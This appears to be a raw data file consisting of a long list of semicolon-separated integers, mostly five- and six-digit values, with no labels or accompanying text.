66980;90307;76652;30234;71402;59934;83544;47852;53013;83709;90912;78880;55745;68737;84385;48486;19081;14977;96883;49623;48994;104660;14810;15321;52003;18443;94697;92430;21504;101344;105438;88955;17144;54118;45971;16171;18163;102263;91301;40181;23289;25983;88438;34800;82271;15446;79063;80818;96593;68811;63521;75203;52589;49297;102925;59910;64278;70686;17591;100280;43687;65157;35681;70658;93981;95684;56709;93185;66228;25737;99734;34596;96476;67979;70520;19338;56947;78491;36206;61016;58756;65613;78223;18560;62186;50010;93669;38604;36055;31678;27496;100523;105867;43455;61454;85772;78263;38869;20762;29748;69896;47281;72437;87148;102502;77258;22972;61098;67466;27066;53739;85262;68710;24550;80096;59319;42547;30901;11345;27324;26120;40832;44311;28992;30419;40155;99727;70147;87702;76541;10970;51300;101454;70352;36103;99087;81074;73862;91054;22701;71657;10886;30654;40447;40794;53773;23324;52486;32658;85273;66552;70813;52346;45211;33608;99508;66133;26745;46161;97915;48327;32826;83274;38145;28908;75552;19849;73943;16039;75348;52888;23103;23865;86887;21314;60835;92266;79994;92769;15877;86169;93132;82085;29618;35309;60095;92066;82966;39259;93288;14994;49043;38474;64201;23109;20052;17540;78017;54031;89836;81682;99362;47107;81658;34305;34626;21061;56343;12674;95604;11310;14528;77085;15857;100448;101996;89365;16692;90899;31214;27313;96307;93357;37279;51001;45427;52968;87103;94532;66140;86002;21862;45729;62307;77395;54027;31497;92606;14122;79471;83415;93028;43847;102937;37773;69197;24347;73655;89733;32501;18500;89210;79189;89086;36279;86976;82534;40490;16562;74155;23802;13412;72429;103225;83682;66932;63170;15425;38370;21172;10895;26829;45980;71798;55570;88890;35532;41488;103751;92605;33810;88816;101971;35399;71073;48977;37338;80356;34535;80761;65616;73238;39749;94356;95437;36636;74685;15310;44030;39591;66646;97754;61849;36476;95729;34435;63984;101577;59205;62779;70316;95798;72937;72693;77124;50126;13912;44284;75544;107116;19592;20457;23864;83197;51519;21904;32812;39422;34067;66502;71086;20450;46020;28121;67536;97336;48377;94501;35183;49235;78478;72727;74553;106561;91911;72573;62694;29980;88134;42717;15477;56139;75555;25893;81957;52845;28770;106699;34253;27093;76760;76859;46893;101429;44131;46310;22944;60653;26449;49579;72221;75962;57284;82559;38887;32350;34951;78807;93515;92055;63007;100180;32076;36337;88775;82059;84817;99533;58644;78809;61855;32068;101683;69984;42173;47156;24685;99878;102710;89531;46541;15547;86314;24063;23678;77748;96237;50980;25300;101957;68372;15929;38693;78217;14571;67115;59447;30517;92025;15706;70840;12215;52754;13158;43702;13340;11684;13127;25506;92315;85512;68722;84210;88691;105157;77977;18379;76094;53654;93390;48733;19948;41430;95045;83580;14804;47636;55829;70390;60654;46706;57917;59102;60948;19905;31074;11338;200046;25428;60058;25829;21549;99558;93389;47697;59083;105666;72032;102442;82126;52283;28164;45704;39317;34502;54206;27131;13193;25789;84983;27480;93506;87007;104882;51810;26226;36824;63610;97043;20043;20845;87721;96063;29216;91944;64441;12088;57589;52223;73879;70058;22133;18751;42237;40846;66019;51671;103713;83956;85906;36086;102489;102471;93499;20823;11834;52994;28247;100948;59431;26903;26502;79812;103887;83650;29909;21667;76946;64857;84912;83106;66179;10106;85810;24911;92309;22370;93778;28954;86536;44606;21447;89512;35481;79488;16689;63825;70177;47663;66940;66120;72441;69824;59288;24881;101698;28948;53754;11057;17495;96504;89396;38382;102725;86578;99094;106795;36419;80699;59374;92267;36252;45550;22416;10142;76300;103679;37637;97734;84071;94520;100480;57156;25311;80252;99306;82943;46160;44619;87777;80986;24570;16083;94140;83620;105633;70380;86302;60303;66272;100044;95800;15727;44340;55063;34656;90992;53890;23567;52762;68659;35258;47290;25979;13398;70363;63547;81760;41711;85001;20803;35347;50230;93246;60669;84818;39479;72483;97190;11097;68628;87624;29684;28325;41348;75084;26873;55334;41647;42392;34114;85775;70921;66949;15936;100355;42657;64583;81513;43864;47274;40252;83458;50866;64332;23476;75222;93485;51081;18558;33436;90488;45332;33312;81877;26639;68466;56749;65107;56603;45463;41004;57413;49706;53208;64587;63486;40991;104442;55588;42075;49628;75383;40007;31791;21414;19661;93935;59423;16601;95581;74601;62926;61085;26412;41787;74005;67967;28884;73993;71713;17729;91060;106740;83154;50719;88574;24664;25971;60232;83343;44372;62845;102748;87241;41845;38242;104556;19691;38938;78034;32489;12855;62224;106250;100560;46113;33324;34350;104488;42655;42397;41339;25018;81332;25323;15315;49054;42543;67865;95790;29386;73066;76812;85739;51125;11339;18617;27430;49476;43247;39276;33668;22153;43605;41640;103598;18257;101955;59264;25743;72645;37369;65098;70245;101798;31403;68953;63641;54999;70717;97841;70367;42434;43884;43700;10486;87046;51804;80174;26353;47008;70758;64114;38391;54875;12528;59858;66723;99463;36831;89217;82703;102076;35924;67085;73481;19826;103776;12718;104795;91103;68289;78664;36136;57505;42334;10072;93722;64489;94552;34574;30176;74597;60237;67135;52523;73205;50324;19910;103825;46786;59192;104552;82244;80248;35314;38165;64255;69595;33819;16636;52315;64605;49165;32928;10840;32626;104293;84371;28950;40063;99498;37419;77460;92897;55465;58803;35510;86949;64741;19640;21546;81192;70570;22382;16372;70186;99204;70069;80286;43241;42880;106796;78760;102341;62653;58554;94943;38991;22724;22425;44506;73582;58730;99023;39318;22095;64885;45173;35708;48212;16758;103761;81356;21831;57637;72448;56320;15650;14334;58355;93570;54803;104147;83868;67939;81216;43783;44162;47109;88783;54305;72396;86335;13132;34288;68308;44296;67196;69193;12230;48506;52591;81111;25937;61403;87365;75073;32481;16151;76939;31851;48193;25941;67677;69973;96461;96005;31494;46712;81549;56636;10975;105155;106007;86811;89458;80092;18480;29872;66468;83275;71525;105087;105168;39105;54942;90492;105629;10714;51439;96105;79278;39870;52096;106743;40411;63395;31763;69406;15003;104718;51048;32592;65251;83444;11770;63671;41597;46094;16912;49651;51263;45401;13068;99297;36625;102897;80817;69532;19446;99354;29133;80782;100288;10989;48386;48420;44195;27279;52567;30178;72757;96399;15921;29046;63741;12986;16468;81092;51885;106198;45232;28779;24268;74715;10814;22415;62284;46431;33066;102419;93628;75910;94737;103659;93033;75789;12045;25542;21112;82153;46476;106526;14328;30330;78119;51000;30318;34008;59290;82328;18686;89786;80553;89359;36125;62562;58795;44251;56191;97297;73519;14257;28749;91728;62118;88604;10752;65409;61283;74889;74816;69475;52574;21251;84677;28815;91783;96531;85826;44549;69331;49620;95993;48688;29025;61177;27693;75462;31422;91442;24510;33719;61292;63347;89148;59544;73486;33928;86907;72301;29120;50049;11480;102379;57367;44625;65592;34716;11919;89596;37318;99459;46307;39230;25285;94109;31350;40918;77090;64072;14246;105512;49487;20359;10569;63588;15575;72789;24982;79991;102507;22061;14287;34317;13228;36284;69899;18393;42024;32891;16925;90690;48459;59441;73721;50020;105918;32394;17347;75461;55809;100122;65284;96791;28792;32237;12376;18433;41857;101461;78962;75206;103894;29858;97054;104749;55196;91247;38757;14082;30098;15189;69434;56514;87237;86742;87018;42433;35019;82036;100073;54416;93112;94120;58397;35320;20036;70385;24688;21111;40077;96481;40352;58557;94394;22970;61269;104406;85659;29282;42607;46663;23992;18545;93991;88778;41634;22740;79732;38439;47862;60296;94927;15473;55451;106070;89511;36520;58071;17444;104655;45037;66456;27745;41883;27885;41551;41286;61303;23674;48826;85506;73149;71887;68010;37964;57963;75479;100902;14959;67944;18361;33246;15970;65190;66938;101558;33581;12920;93149;94875;94041;96515;15899;42642;48307;21311;13269;86658;13960;77448;52934;35683;55603;39115;105340;31207;37603;43852;71853;104057;86985;17522;26133;38779;54763;36639;60113;76971;23633;71272;40574;74068;71247;59215;103196;95650;85502;22912;85474;59930;54470;37339;43175;75074;30861;63770;41453;83944;89418;82197;38196;57646;57693;73922;75340;74739;55715;83679;23625;83840;77768;102681;93740;81134;43710;95570;99361;72563;69290;30106;69418;95869;21276;36843;56488;45291;77970;30908;105024;23874;52401;46067;83485;74524;42131;82544;65137;64565;89100;53060;75770;63849;23883;15496;37309;104929;62211;30669;89250;44108;67132;22120;15389;52563;47814;18987;78567;35068;99736;73749;24306;65811;72825;21467;16948;78368;49239;42044;37844;48211;14040;48246;18042;73210;72453;106400;65634;12415;11412;51010;86473;84327;59352;16127;11003;14016;47034;36936;50065;78680;99706;59114;91795;18748;13061;94314;102625;18424;47772;50083;101687;40678;76090;64710;89577;70762;49302;23339;96145;10286;24304;97414;64014;16011;21889;66820;18885;50438;91723;47148;32725;48166;18353;21258;68291;104336;46119;46686;73777;100575;25684;101800;73259;28311;19883;49508;40172;78594;79495;104706;53987;81083;86318;41997;71982;65282;101084;86615;68505;94309;18448;19087;55705;99837;59188;21040;77125;41945;31798;91080;50404;18854;92254;69513;61740;15134;23607;29837;55934;33613;33428;65020;99239;51701;84547;49127;22911;70740;90311;45497;37440;45541;82961;96635;50878;60538;31816;53792;55996;22757;94422;21613;84620;15345;53044;63397;92981;14633;15901;11716;53561;12883;100238;57008;62275;45537;93333;58639;52124;89039;86744;95002;55267;38121;101400;58522;21306;37950;62950;36291;22695;53810;87796;11840;37096;42701;66943;38659;28627;53122;74982;16932;96466;71780;55872;32841;85296;15534;54572;35389;18974;105179;18190;81343;64207;89072;16957;49108;35538;25685;64518;17332;54523;58225;68263;58380;19656;23566;71463;22563;77598;75212;50220;54877;88043;94711;50763;57034;21133;39863;56312;31479;91006;18085;15584;32851;30428;71468;22526;74224;23017;11048;80379;96648;19536;93072;61064;25508;72232;75108;26820;86519;73150;27988;91218;105641;64916;54809;81185;28031;27591;22355;66668;86712;56437;67588;88475;50511;106711;95557;22487;74903;15207;86021;55258;16553;105935;45850;52071;103034;41450;93907;87441;91431;49109;104516;39475;30434;42020;44659;67089;11548;30673;28259;37876;61913;99742;35126;66920;89692;81860;41818;73665;37703;62983;60844;28511;12988;71721;77959;66173;85229;23919;64124;25287;73001;81679;47179;25380;74126;81828;54100;85390;20087;88495;14936;96654;93292;19205;24160;40983;54897;73474;18275;51940;27623;92889;102047;59273;86049;41811;74892;40852;101821;61498;61370;97441;91641;22149;89860;14490;80971;99893;20007;94961;94658;45799;105442;92022;53180;65587;36089;41686;91310;45031;49545;24639;58278;11513;44844;30438;74169;30376;31457;75142;74073;11136;76678;100421;95320;200088;17102;52703;106976;40032;65029;36702;73921;49337;45280;73404;52802;60275;47038;78043;103182;100526;34381;103077;38153;41380;73696;36894;30889;101942;105211;21463;22556;68172;70423;64539;92321;77319;33915;31311;73634;91674;104371;78554;65529;85981;32065;55994;44499;26488;103436;105762;69219;13687;30760;74551;57373;51038;200022;15549;34297;47277;45813;35509;32615;64347;101246;52678;19789;70741;24888;91268;83217;39140;22565;50037;16625;85963;53356;69053;19168;62414;46005;18843;47903;77336;14174;77387;67696;77677;63136;75008;89637;67114;90137;75345;27604;13298;70365;64077;69822;21096;105401;89661;84711;93366;21589;85364;92285;94145;46689;58029;70487;62907;81046;67485;84811;23965;89198;48520;94441;71369;86196;28994;45500;57467;24455;41451;103591;67394;103661;79907;52134;26923;106523;106628;49678;33264;20063;23323;59732;17559;95899;93739;96193;37856;79655;18083;13968;29644;65056;20637;66416;32274;21701;62602;88020;28713;27388;80756;56662;30736;56181;57683;83642;51119;48414;39187;51846;23319;12746;84466;84524;90464;34053;23035;38762;61900;97070;88615;35689;57785;40279;73406;18884;53080;36514;31306;21109;14701;100203;80454;22377;20174;30470;12390;105680;77752;75581;68697;38892;57191;27150;16512;96895;64034;59353;66168;58807;83858;26088;80920;69729;54116;99843;21285;86170;60295;103915;69281;41782;62389;40610;57419;105050;62546;14765;52503;86930;16820;70221;12262;20070;82148;52327;102719;21329;83303;58412;104785;38736;65781;20641;58616;103242;77212;14492;29675;102476;49219;25377;63415;16291;52372;86220;104492;12546;35994;54630;77214;64438;55053;38859;29878;80622;85943;104763;66040;104218;79323;20930;21912;62764;80284;73207;56664;44366;23464;97939;39465;72680;26575;16885;11309;85702;37334;80717;35245;96314;55244;46038;60589;92178;82719;46401;21677;41610;28548;51847;19435;17635;81060;60144;106896;13302;61390;67675;73764;100565;18631;81177;68262;83279;102118;79424;90941;35337;49933;23022;37312;79279;19649;24397;73722;63623;37860;15573;53132;46095;90676;68574;61669;104444;63910;81766;21637;47420;87286;88881;38366;99623;21806;51550;17590;14055;25954;83970;83201;31365;11090;44237;83615;49284;82570;81180;73251;12054;97936;46730;104308;25461;10024;24049;84419;74442;32323;19251;76535;50735;39053;61218;42085;51767;34042;20981;38184;87005;84706;21953;93036;40331;105338;102213;35921;13543;83200;24019;85624;104932;59469;41224;78529;95909;10404;72151;73488;83873;60549;75617;85160;102506;92707;95763;15264;21946;60380;93995;19906;43951;79095;96637;31640;10034;10499;72639;59095;51096;18507;77498;93574;75733;23063;93198;14480;88532;28871;71156;104956;53656;56430;89617;80404;69209;28923;35223;47766;38699;38035;65835;23799;45314;55303;99118;27370;26363;50190;95734;22339;53972;66908;57268;27257;86056;57771;45940;27853;73103;40765;63500;44556;89774;15598;77858;80130;90484;62503;87972;61689;85409;105911;56102;100296;90275;33385;89491;30634;76274;48364;20074;21748;19506;96592;14499;22813;11792;18660;17398;62264;20719;46747;35605;77480;77509;97600;46228;75406;96680;93664;47225;88741;85718;23897;77456;23186;22494;75342;92232;28828;74528;79788;43727;105253;24563;55596;79058;57667;30276;23365;38438;32545;11333;13906;100824;18665;71528;45951;93045;89392;45198;67737;42119;80859;47691;91612;51277;41386;87578;106267;52126;40309;12928;88879;11736;88153;37934;97401;31500;95037;97052;28782;33267;12375;80966;35066;102248;80460;99091;68473;78321;105301;92358;34260;39565;14484;70571;43516;81163;12918;55182;45892;45180;19396;82625;72381;33453;20727;15726;68546;14085;81688;73107;79175;75921;22981;100839;103882;72983;59715;22392;74542;13534;39345;46529;49994;76729;33948;54770;91689;41760;59411;89955;68460;71606;15571;74638;93720;70435;50221;38532;25494;42320;92611;97607;67428;75326;43531;66203;30164;107081;42992;58893;83908;18266;96401;97210;15711;11856;56792;15081;31459;62061;66779;83484;96372;92171;79076;24233;54398;88454;17652;87460;70865;32860;88961;57390;33369;74134;61121;36455;27474;61784;76711;96477;57578;52918;66746;75032;59221;16495;81850;39082;36568;19542;78564;52426;102266;67690;67914;54232;44848;56631;41728;74364;85381;51309;31278;60728;103066;29605;69874;94806;39110;93514;26360;101052;28027;30747;52542;81207;100841;87385;100912;26330;55679;83730;93071;66083;36430;89129;55641;22647;65342;59440;27780;34558;36311;44638;39807;44896;71061;42590;15812;96490;39167;79984;57389;39219;79558;12889;25616;80885;15103;65436;86944;69478;12499;33279;66877;52433;85734;24552;73366;92784;23762;74932;18308;90016;69673;99083;74654;54816;87197;24831;12367;83205;84239;46570;51749;49889;78307;102016;87169;27080;44245;81543;50581;101575;34285;41648;90586;83391;33427;106108;79179;91468;95915;10185;74825;96768;79935;45722;23377;43495;53899;18033;50125;44022;44198;60277;15646;53658;25332;29756;49259;70211;106650;100500;89928;57896;26809;10451;39816;50236;42544;57023;18977;65000;97697;32492;22345;35466;22844;46505;78795;76517;29710;22808;57245;13286;25195;19366;55841;50815;99697;99400;23789;106565;84913;40187;19394;51471;13868;56115;96699;44624;103437;34956;72172;14479;92956;90159;73339;68023;92136;57635;77720;26473;85352;83759;23937;43997;32843;71405;10820;93955;21615;89500;96256;55962;57494;94229;22907;73323;55888;19610;11632;27609;76007;11129;43366;100910;80703;70734;42858;57039;17519;47358;40320;94138;95500;101759;97863;32215;38315;23172;105897;89283;56018;50599;105744;75149;77922;52332;62685;99794;61147;60415;83222;96240;65734;50030;83628;52757;75815;66529;43845;17070;105737;34494;10518;44205;54933;10893;89390;25330;80437;97391;55998;38316;51192;24863;71910;92235;82230;47063;94384;67062;103178;16463;56920;23403;50541;102136;24293;75256;68747;25341;89207;78710;69343;59969;23908;37848;106783;65971;18800;78543;49357;39253;77966;26799;73645;61673;36871;39935;59039;43947;85178;76321;11794;13516;66370;10251;83922;49871;95636;13726;101272;50227;89704;102557;54695;67165;26535;92180;25630;80089;54525;70445;74644;81362;70928;38802;80790;45029;70918;49554;104268;41822;68926;93285;15460;64506;36852;36210;75375;106609;53120;77960;99632;38314;74319;62467;42616;68079;22228;51396;91357;83711;42352;11466;92742;61539;41651;70988;32732;21244;23293;71683;27584;68756;97789;65725;50130;100147;61785;43688;52086;53786;61977;72249;62852;23273;65128;77721;36756;78817;16575;59175;33028;34082;105635;23736;64392;42944;35243;54950;61214;10411;44057;40140;74562;25020;10794;41280;99016;25192;21794;20395;53808;103912;103523;95907;88462;76067;80898;28336;89875;55946;15209;44447;63769;35250;94881;79363;48589;77301;27052;79601;65031;27099;13145;90145;33092;41237;18471;47867;69675;20954;97226;28007;78163;45303;36613;66135;48629;72387;87366;80407;87778;46909;81105;14368;87483;22090;41075;82340;27541;45336;31875;13790;23379;97288;84922;40327;75710;103174;51504;72677;67671;14885;42770;29373;97181;82940;83359;14544;22304;97787;63907;79486;48145;16715;58733;106132;85069;97532;80441;51167;72513;55919;61606;92484;81624;105477;83696;53200;82216;10005;86878;94389;82867;91194;35270;105568;97784;102876;51215;38266;94055;97766;66612;31014;80888;84193;68416;94333;58534;21354;88828;14318;65106;32567;40637;95515;100791;103243;85541;59165;96312;78902;46467;85351;80807;52073;28583;85726;32879;95621;45879;35848;27200;79603;69380;59200;20754;40934;31090;22501;53420;57254;51933;65739;47098;51188;103071;40241;66715;35565;48297;10352;77055;83280;20560;21218;76893;68590;87771;91475;11774;47199;107067;53094;37008;37416;20942;14012;94990;10519;101782;24524;105667;100447;42848;68091;75310;44673;54223;45975;54044;64175;92421;82331;58715;47044;21995;32550;51059;35740;72706;72200;77857;73836;99203;92834;77679;86236;47549;44229;78801;14313;60546;102966;31603;41092;91707;61970;70419;37631;86748;44094;81100;57628;100328;73596;58138;54820;103195;102206;36027;57041;89380;37924;69225;58168;41515;25643;47718;29164;64185;62969;32002;99896;42301;46328;58785;30542;87755;64226;53998;66495;30907;91715;85328;87416;16300;28873;40948;23575;88650;100492;64197;60091;58482;64600;15314;97899;70607;97848;26180;91317;75402;38686;95978;86281;79396;83308;33683;63585;50096;61773;62210;102300;24549;27128;18442;93260;46050;15513;54521;30936;78411;84126;62093;15944;97623;106208;50915;29270;28108;41271;24383;31261;100262;51927;71380;34858;13365;79851;68715;43114;29529;89613;104958;59674;48250;62142;50668;105618;37544;82878;32037;72299;92169;101913;73078;23194;78767;33859;21220;49932;38822;64058;51814;72735;81397;37038;43984;24997;10929;66218;37955;95386;52969;33191;82448;35053;81982;65674;40762;84195;74473;42067;65544;100035;105613;58613;20038;64327;72605;71865;52581;73275;99370;44587;90752;50845;38455;34585;106436;83648;69943;64324;90758;13999;88956;13391;76348;16691;76586;53404;41301;73934;100475;30667;56442;41492;80998;103341;37265;60798;60562;42176;19841;104400;61764;69296;23482;57523;13234;56735;54392;28054;67647;33761;92711;57417;35967;85017;74413;47458;95923;105118;58876;37125;63142;76811;52403;49565;36147;58581;97980;87083;82677;63259;63757;42837;16899;58232;75137;61828;62261;57260;79157;66693;41253;106068;35622;104364;97771;77830;72327;71633;78509;36068;35764;71991;45611;20486;27466;67464;14240;24351;83128;68766;29766;54052;59524;34078;77013;62625;85038;85730;27649;54793;82466;42999;96085;89172;51156;96514;54725;52505;62975;25704;103819;28085;74897;16802;66252;13891;96502;19635;27587;28096;60506;47889;29907;53006;33301;51755;47033;21099;17691;63482;43566;45137;58304;25831;96131;94975;15629;32041;55861;21728;77660;83236;107065;36778;89865;12890;86837;38937;87858;100845;32856;43841;91260;39936;24979;65154;25739;65104;77800;93381;19816;89167;94023;40175;72792;100438;91282;68653;59048;84792;72310;52984;39607;71008;73600;55237;60287;92173;16354;51736;91601;76742;89810;22690;81626;12470;54982;50746;106753;55055;31932;49904;100765;78547;46311;17153;64678;49768;39989;91494;79200;26315;47072;96149;13339;92384;20182;71203;27269;75812;75599;74956;100820;33551;56065;36538;85715;95796;27813;67524;51787;97604;76450;67538;57887;66964;71400;38509;76892;46963;86617;96194;11206;29508;105988;72763;34554;45878;45664;45227;13362;71301;17707;105745;16613;44772;44433;76910;40118;32081;16623;31887;22321;102583;21305;91270;76689;106932;84929;48665;77693;10070;61476;82900;51126;19424;84754;55783;35396;20000;103610;59354;14266;62660;19504;57338;30310;14421;48380;105336;41262;78233;56719;75485;51122;20274;72501;85610;33565;70591;35765;76353;94118;31868;99480;63396;93326;84456;73370;45324;21630;72273;49936;86543;95658;33185;15095;55143;94495;64714;26650;38061;44660;41019;88863;38286;33358;79092;77306;100998;85556;16220;64131;53584;64667;37919;85676;94059;45931;20200;105697;31060;94047;47816;68409;82749;37770;68969;22837;34023;16652;76654;18338;29774;26356;74027;83412;20044;93724;30755;101449;101279;79360;58173;46243;25100;51661;42813;61901;86081;51021;70019;20058;70125;62075;42752;60524;93931;61468;35550;100304;81733;19412;79773;52171;28614;63537;26584;16422;50532;42735;60652;47027;63484;75906;56171;29583;104875;105774;35646;72298;30929;16624;32966;23400;71485;12837;72386;15528;90495;48312;15898;19561;62047;54512;20346;97569;104309;33735;64637;69946;34194;11039;17658;29066;93344;67153;18382;48347;101580;69770;60164;80429;26691;89672;104286;88824;59739;46210;42360;104088;56715;73803;77403;86706;57318;74662;21383;94688;106921;96899;48208;80036;60739;51336;104612;48306;103247;10567;99064;40582;99268;96928;45874;56627;21425;60486;60297;85136;62894;83496;55118;21217;16591;62103;83245;58483;94511;48823;39961;67266;87150;104903;60013;64552;74592;50999;34879;62707;91748;29864;103265;40101;49002;19145;62105;76681;60259;89029;17698;43352;25355;35624;76600;53552;25746;96344;106129;75737;37878;102772;88635;54124;13852;71681;96756;74541;39828;104788;41190;73160;50565;102964;81726;91389;28231;33607;64520;52451;30356;55631;92875;37303;26740;50114;24638;79139;64969;105702;27967;62347;87900;106259;104861;38427;99864;96445;64924;73960;17699;17115;23593;21988;77041;97812;76033;85593;79882;21037;10935;26579;91964;56892;21420;62615;84997;31731;19391;45968;23058;16677;32993;30602;69113;53812;73102;96103;14176;95543;104789;40050;74730;58291;50397;105655;71034;88571;96728;85429;90239;95292;74089;25581;34881;71467;27404;38645;100764;91597;88628;18147;14370;36176;39181;94174;105309;91915;102308;69112;44358;12279;20812;56865;30078;41567;76898;15848;45898;102580;23344;72097;95541;91187;59793;79977;30678;13582;105370;43377;69533;101767;72495;90069;83180;11630;20154;52715;35953;69915;70307;21143;29182;72574;72506;24212;10978;19079;47159;44906;84344;71092;88436;87785;29638;68723;71382;54034;60573;39179;27529;67347;33418;101409;99522;95331;32981;58679;29424;99265;25566;103932;97673;105948;69151;58768;36512;55404;51286;33304;17651;83083;96857;54269;40546;74742;36363;39438;76834;19144;65678;35568;27385;95966;29318;62159;72934;84163;55368;49707;65561;10578;26506;42699;87219;93231;103188;200055;17066;74276;65148;30931;43456;74555;65911;104709;43522;58986;51616;59707;32196;37268;57736;55835;66780;47061;19651;106953;43980;52012;106214;75855;99965;34961;32070;26389;50204;55150;103968;59128;37626;26891;40629;54210;75880;78622;103556;18833;105353;25898;97436;52005;31374;85585;41471;42139;42314;81229;45526;92940;14048;37426;77200;14145;23760;103219;22403;52496;64665;87259;101137;38838;23183;39764;55132;82257;92538;11100;38361;33475;88732;89397;33455;99202;28328;87666;68109;94565;85687;35626;106983;99536;52907;35517;80690;73626;18296;34673;79199;93599;72633;95970;34433;45340;23828;48547;32538;106345;17466;86795;106358;82003;93425;32716;34295;103450;94940;44185;59147;101873;94867;62668;13764;25854;83374;58891;85399;16209;77150;59025;15191;100569;45045;78534;103728;76358;81217;26010;25522;71215;43636;65256;82386;66601;41788;30918;79353;103403;20318;10566;62507;15840;32952;86624;24419;27055;70929;34139;80080;39611;25688;66331;47790;53278;71641;52641;37899;66591;53865;87594;77378;27915;76119;101867;75633;35211;88745;46756;43402;80112;58852;64453;91114;80071;54577;19212;83062;42519;75748;70787;65865;77007;65522;47625;38550;95318;72198;47520;72568;100079;12272;78757;42669;85728;88742;83268;97937;27495;66782;30394;38987;58186;74180;54083;103723;36000;12100;50279;54008;58424;66554;87890;68419;105767;36197;81487;104917;96775;19148;29777;200035;35176;39653;41535;21496;20297;45338;24554;35112;28608;99246;42868;13919;29053;28493;66712;89879;24925;68889;104172;20936;81347;56270;19976;73530;55202;46062;27241;82410;104478;96708;56716;32240;95034;70331;50903;95380;75330;73272;64661;14821;104332;39913;86336;22299;34352;52617;81245;97750;79529;64440;33981;97584;85450;85041;15100;48970;28774;83471;11678;18284;57942;81972;14620;85080;89067;24285;53114;64865;44420;60920;55036;22730;54214;55881;17439;57100;22590;55304;29633;104020;65883;36920;30372;93684;99466;17179;81729;84094;29070;18432;78110;27653;14628;34602;102311;102703;26537;25395;83150;65673;40454;36876;34952;86152;48576;39671;34933;56345;36441;36085;27762;62988;19902;60298;69045;75072;39504;23215;55866;62450;55931;90245;47155;46415;26260;104007;12417;96991;83321;34880;47373;33842;22916;14567;24823;81161;57070;95723;68538;101656;71803;27655;10912;106018;81759;55755;89811;34144;82152;85514;17807;22546;70315;52761;50681;93409;39889;70913;14126;63501;62176;76058;87204;100144;102569;51459;100281;49809;87718;89581;99232;46842;54774;66543;93694;55794;27597;80833;76794;90318;44124;87120;82084;47726;82958;78654;102733;54517;62496;72113;94613;32642;11820;104393;29112;65891;102673;14767;47214;42193;86443;26959;61781;86248;29703;100636;23528;85309;21058;38397;27548;50095;52527;21043;68740;38708;77087;78475;102121;85663;23142;70397;21528;82182;61368;13853;68654;10561;22270;44318;100521;94835;49812;57569;68438;105610;35772;45715;30589;102693;39581;10922;75644;13718;104734;24974;94551;92074;54364;83227;28772;29480;97524;69426;77607;45208;106099;64194;73895;90082;17389;19093;56938;88765;54749;14511;31821;52175;102608;89112;74363;26947;45417;24370;107011;21760;59624;14413;49926;21740;11795;33500;36914;68566;84183;94226;26565;99791;26541;82195;75306;106083;72291;89330;62868;49397;44604;22147;86407;56857;93018;45104;91594;33944;20141;28449;104610;34870;33897;34372;94244;46355;17526;69442;43349;12867;57305;49609;10019;17630;53651;44810;35463;58914;34503;58470;101774;18732;31677;103854;82764;96501;19333;85129;23231;18860;18080;69473;44528;90710;37825;99125;66062;102042;11166;77628;97715;100514;48805;42512;15639;102643;20187;22685;101802;103816;62327;93512;37915;92963;54834;73034;61113;35356;13418;72734;78242;55497;50452;77691;90883;82455;101425;47510;38127;30715;23900;66055;14112;63160;107109;83439;65446;12717;70201;47132;46167;47677;35074;78993;10730;85528;78611;13730;19795;23280;84082;41467;80845;47767;90749;33878;89539;74375;94477;51527;104910;78464;83976;81030;44792;65499;43547;104497;69583;38573;77926;17312;14555;91698;38193;83057;68924;105779;55711;78009;99600;87379;96229;63961;55502;26174;23317;99927;66285;88625;35655;13660;49860;13565;90571;21340;72840;106043;61880;35365;31087;10750;92596;56839;19577;83508;17193;81324;46042;35833;101475;25756;85376;41698;103244;26876;24301;15024;58275;13525;45329;10156;37587;29735;80892;87346;84618;19583;72896;95888;106127;87988;51931;52705;13041;42900;59282;57874;42099;97447;28955;97316;57606;82744;19234;87504;69338;36740;68567;87502;105965;25127;83038;59770;65771;43904;77732;12927;43797;39933;15739;16520;69249;70737;47102;60970;75197;104918;46324;76447;24802;34903;65325;63875;59427;88512;27628;77413;60175;85815;57904;14714;19001;24039;48522;89384;78712;13184;80494;39378;73009;104198;59513;24815;48235;62473;79198;89211;96443;61643;67159;94945;72938;83997;41398;70545;45651;43464;39061;48903;76828;28613;14372;27102;91500;28340;38818;42277;36817;22093;57501;67058;104733;83234;78467;105271;40565;89474;72379;93518;22191;44796;78824;24437;91983;36309;16609;70638;60537;100701;89242;10366;52249;22292;44882;12281;24385;104685;83053;60540;39048;47001;30093;49788;21129;106256;66097;17079;22492;50590;74335;33704;94547;91067;97590;105176;18548;28051;69157;45177;33636;18404;76387;40987;63324;10307;90116;104343;106159;94168;58164;89120;102969;32681;90072;104171;22244;12451;34580;104317;106215;102276;45064;22987;11910;70476;51414;42702;79127;31987;99707;76657;54170;29395;46051;40890;95306;68495;102017;94185;103382;94428;103475;106516;39175;77831;45880;27158;100983;40708;82357;83737;42734;64342;41509;106261;97875;48379;95900;71370;30019;89159;22468;53997;61771;62592;77740;67950;42192;71234;84445;46922;53920;83186;89988;27069;53836;24088;87770;62349;45784;21134;79973;83199;59550;62582;23399;39848;102687;19483;68099;96688;45081;70126;102319;92307;39088;20783;100465;35035;50955;95895;55263;54446;64812;52738;62795;41805;33648;29626;29238;38793;64070;92487;101484;12925;16383;45920;104954;45265;103722;43679;10860;83917;81141;74680;96961;28934;21313;103830;76981;88870;31444;100017;73957;59463;16482;72869;91369;92916;54694;84317;40088;74949;97183;35884;50561;31931;65980;12330;81464;45655;69386;27670;91577;25087;32468;56974;17809;39606;31477;85869;21010;58832;105995;53089;28674;92322;89068;46777;101711;13785;43321;77600;70923;24641;58330;96066;19894;48376;54540;16708;36466;15965;70516;53508;82861;104180;62662;70947;79906;70863;59335;57162;23349;103649;43787;20217;45754;13205;76214;81778;49455;75619;82333;41016;102209;54728;66951;65195;27378;13020;13017;57747;19546;74222;87961;11329;85119;87633;102048;95441;39907;78853;78685;14946;30506;66025;85706;19763;51494;16353;29132;42857;27736;13727;104216;50388;45378;62304;60973;19830;82451;10625;20263;104797;64385;16016;80153;100792;74936;72536;43785;100814;37135;33087;88768;52443;64938;26938;100364;70236;100274;53084;37935;87965;101584;49599;60385;48407;30865;51536;72954;89803;18568;74231;59903;37437;11299;15303;76416;80311;42484;38893;28135;46685;96557;75179;40812;90004;17081;16105;100179;45842;34333;100344;84451;69679;71245;64573;75246;74138;37673;57726;65240;76671;71116;71074;50011;56034;24400;35069;16611;18546;41967;30033;73660;49647;31926;45468;34227;96636;24382;86660;93210;54060;35063;60205;81806;67280;76128;97872;67558;101262;80272;19379;18201;71891;75498;12917;35910;21093;13034;60700;18104;69248;21840;54924;61404;94612;19411;75053;36792;31455;51360;12408;47584;85111;82912;30175;